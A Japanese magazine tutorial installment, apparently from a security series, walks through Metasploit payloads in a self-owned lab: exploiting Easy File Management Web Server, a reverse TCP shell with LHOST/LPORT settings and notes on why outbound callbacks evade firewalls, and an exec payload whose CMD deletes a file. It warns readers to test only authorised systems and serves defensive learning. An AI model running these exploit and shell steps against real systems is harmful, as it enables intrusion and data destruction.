この連載では、効率よく守る方法を考えることを目的に、実際に手を動かし、攻撃がどのように行われるかを知るため、「Metasploit Framework」のインストール方法と実際の攻撃の流れを紹介してきた。今回は、Metasploit Frameworkに用意されているいくつかのペイロードを紹介しよう。
本記事に掲載した行為を自身の管理下にないネットワーク・コンピューターに行った場合は、攻撃行為と判断される場合があり、最悪の場合、法的措置を取られる可能性もあります。このような調査を行う場合は、くれぐれも許可を取った上で、自身の管理下にあるネットワークやサーバーに対してのみ行ってください。
前回は、被攻撃環境を用意し、Metasploit Framework(以下、Metasploit)を用いて、脆弱性(利用した攻撃モジュールはexploit/windows/http/efs_fmws_userid_bof)を利用して制御を奪取可能なポートをオープンさせ、乗っ取り、コマンドを実行できることを実際に試した。
前回利用したペイロードは[windows/shell_bind_tcp]のみだったが、攻撃モジュール同様、ペイロードにもさまざまなものが用意されている。今回はいくつかのペイロードを紹介するとともに、それらを実際に設定し、実行してみよう。いずれも、実際の攻撃がどのように行われるかを理解し、危険性を認識する上で有用なだけでなく、自組織内においてセキュリティ機器などの動作検証行う際にも役立つものである。
攻撃モジュールを設定する際に、その攻撃モジュールの設定項目を表示させるために[show options]と実行した。ペイロードも同様に、[show]コマンドで使用可能なものを表示できる。
試しに前回同様、Easy File Management Web Server(以下、EFS)の脆弱性を利用する攻撃モジュール[exploit/windows/http/efs_fmws_userid_bof]を選択し、以下のように実行してみよう(行数が長いものが表示されるので、ウインドウの横幅を広くしておくことをお勧めする)。
use exploit/windows/http/efs_fmws_userid_bof set RHOST 自身のIPアドレス show payloads
すると、図1のようにたくさんのペイロードの名称と簡単な説明が表示されただろう。
今回はこの中から4つのペイロードを取り上げ、紹介しようと思う。皆さんも一緒に手を動かしながら試していただければ幸いである。
こちらは、前回使用した[windows/shell_bind_tcp]と表面的な挙動はそっくりである。異なるところは、攻撃が成功した後、攻撃側、被攻撃側のどちらからどちらに接続を行うか、その向きである。以下の図2を見ていただければ分かりやすいだろう。
攻撃の流れにも、以下のように違いがある。
[windows/shell_bind_tcp]
[windows/shell_reverse_tcp]
つまり、攻撃後の接続の起点が、攻撃側と被攻撃側とで逆になるのである。
[windows/shell_bind_tcp]:攻撃後、攻撃側から被攻撃側に接続
[windows/shell_reverse_tcp]:攻撃後、被攻撃側から攻撃側に接続
後者のような挙動のことを「リバースシェル」「コネクトバック」「コールバック」と呼ぶ。そして、筆者がMetasploitを使用する際には基本的に、後者に当たる、被攻撃側から接続を行うペイロードを用いるようにしている。理由は図3を見ていただけると分かるだろう。
[windows/shell_bind_tcp]の場合、攻撃側と被攻撃側の間でファイアウォールなどによってネットワーク的な制御が行われている場合、許可された必要最低限のポートしか通過できない場合がほとんどである(多くの企業や組織でそうなっていると思われる)。例えば、被攻撃側がWebサーバーだとしてtcp/80への攻撃を行い、任意のポートをオープンさせることに成功したとしても、tcp/80のみの接続しか許可していないファイアウォールなどに邪魔をされて攻撃側からは接続できず(図中(3))、制御を奪うことができない可能性が高い。
逆に[windows/shell_reverse_tcp]であれば、被攻撃側から外部へと出ていく通信であるため、ファイアウォールなどによる制御は、外部からの通信に比べて緩い可能性が高いと考えられるのである(現に、今流通しているマルウエアは、外部と通信を行う際にtcp/443やtcp/80などを用いることが多い。これは外部向け通信として許可されたポートである可能性が高く、通常の通信にも紛れ込ませることができるからだろう)。
それではこのペイロードを選択し、[show options]を実行してみてほしい。
set PAYLOAD windows/shell_reverse_tcp show options
[Payload options]の中で設定が必要とされている項目として、[LHOST]と[LPORT]があるだろう。[LHOST]はコネクトバックさせる先、つまり、攻撃側のアドレスを設定する項目である。この記事では攻撃環境と被攻撃環境を同じ環境内で動かしているため[RHOST]と[LHOST]は同一のものになるが、通常ならば[[RHOST]は被攻撃側のアドレス、[LHOST]は攻撃側のアドレスと、それぞれ別のものを設定することになる。
また[LPORT]は、コネクトバックを受ける攻撃側のポート番号を指定している。こちらは外部から攻撃側に対して接続可能なポートを指定するといいだろう。今回は変更せず、デフォルトの[4444]とする。
設定が完了したら[exploit]を実行してほしい。問題なく制御が奪えたはずである。
Metasploit上の見た目では分からないが、攻撃後、制御を奪うタイミングで接続の起点が変わっているはずである。興味のある方はパケットキャプチャなどを用いて、[windows/shell_bind_tcp]と[windows/shell_reverse_tcp]を実行した際の違いを見てみるといいだろう(自マシン内の通信をキャプチャするには、別途「RawCap」などをインストールする必要がある)。
ただ、今回の記事の通り、攻撃側と被攻撃側とが同じ環境の場合はIPアドレスが同一であるため、少々確認がしづらい。確認を行う場合は、「制御を奪うことによって流れる文字列がどのポートから来ているか」を見ればいいだろう。
具体的には、Metasploitにも表示されるように、制御を奪った場合には被攻撃側から「Microsoft Windows」という文字列が流れる。[windows/shell_bind_tcp]と[windows/shell_reverse_tcp]とで、この文字列がどのポートからどのポートに流れるかを確認するのである。[LPORT]をデフォルトのままの[4444]にしている場合は、[4444]から該当文字列が流れているか、それとも[4444]に向けて流れているのかを確認してほしい。
Wiresharkで当該通信を見つける場合は、Metasploitによって攻撃を行った際のパケットファイルを開いた上で、メニューから[Edit]→[Find Packet]で表示されるウインドウで[String]と[Pakcet bytes]にチェックを入れて「Microsoft Windows」で検索すると見つけやすい。
見つかったパケットをダブルクリックすると、内容を別のウインドウで表示できる。以下はそれぞれを確認した図である。[windows/shell_bind_tcp]の場合は[4444]から該当文字列が(上部)、[windows/shell_reverse_tcp]の場合は[4444]に向けて該当文字列が(下部)流れているはずである。
こちらは、攻撃後、指定したコマンドを被攻撃側で実行できるペイロードである。実行できるコマンドは、Windowsで「ファイル名を指定して実行」から行えるコマンドであれば、このペイロードでも同様にできると思っていただいて問題ないだろう。
このペイロードを選択し、[show options]を実行した結果は下図の通りである(RHOSTは皆さんの実行環境に合わせて読み替えてほしい)。
被攻撃側で実行するコマンドを設定する個所は[Payload Options]の[CMD]の部分である。こちらも[set]を用いて指定することになる。下図では、攻撃成功後に電卓を起動するように設定している。
「cmd」とすれば「コマンドプロンプト」が起動し、「notepad」「mspaint」などとすれば「メモ帳」「ペイント」が起動する。
ここで[exploit]とすると、攻撃が実行され、指定したコマンドが実行される。もし「Easy File Management Web Server」が終了してしまう場合は、[EXITFUNC]を[theread]にするといいだろう。以下は、筆者の環境での実行結果である。
また[CMD]に設定する値は、「ファイル名を指定して実行」と同様に利用できるため、引数を指定することも可能である。例えば[C:\metasploit\dark_knight\]内にある[dark_knight.txt](第2回で作成したファイルである)を削除する場合は、[CMD]に["cmd /k del C:\\metasploit\\dark_knight\\dark_knight.txt"]を指定する。
以下は、[exploit]実行前と後である。
ここでは、コマンドプロンプト経由でファイルを削除したことが分かるようにするため、実行後もウインドウを終了しないようにしている。実行後ウインドウを終了させたい場合は、[CMD]に設定した値にある[/k]を[/c]にするといいだろう。一瞬コマンドプロンプトが表示された後にファイル削除が行われ、コマンドプロンプトが消える。
Copyright © ITmedia, Inc. All Rights Reserved.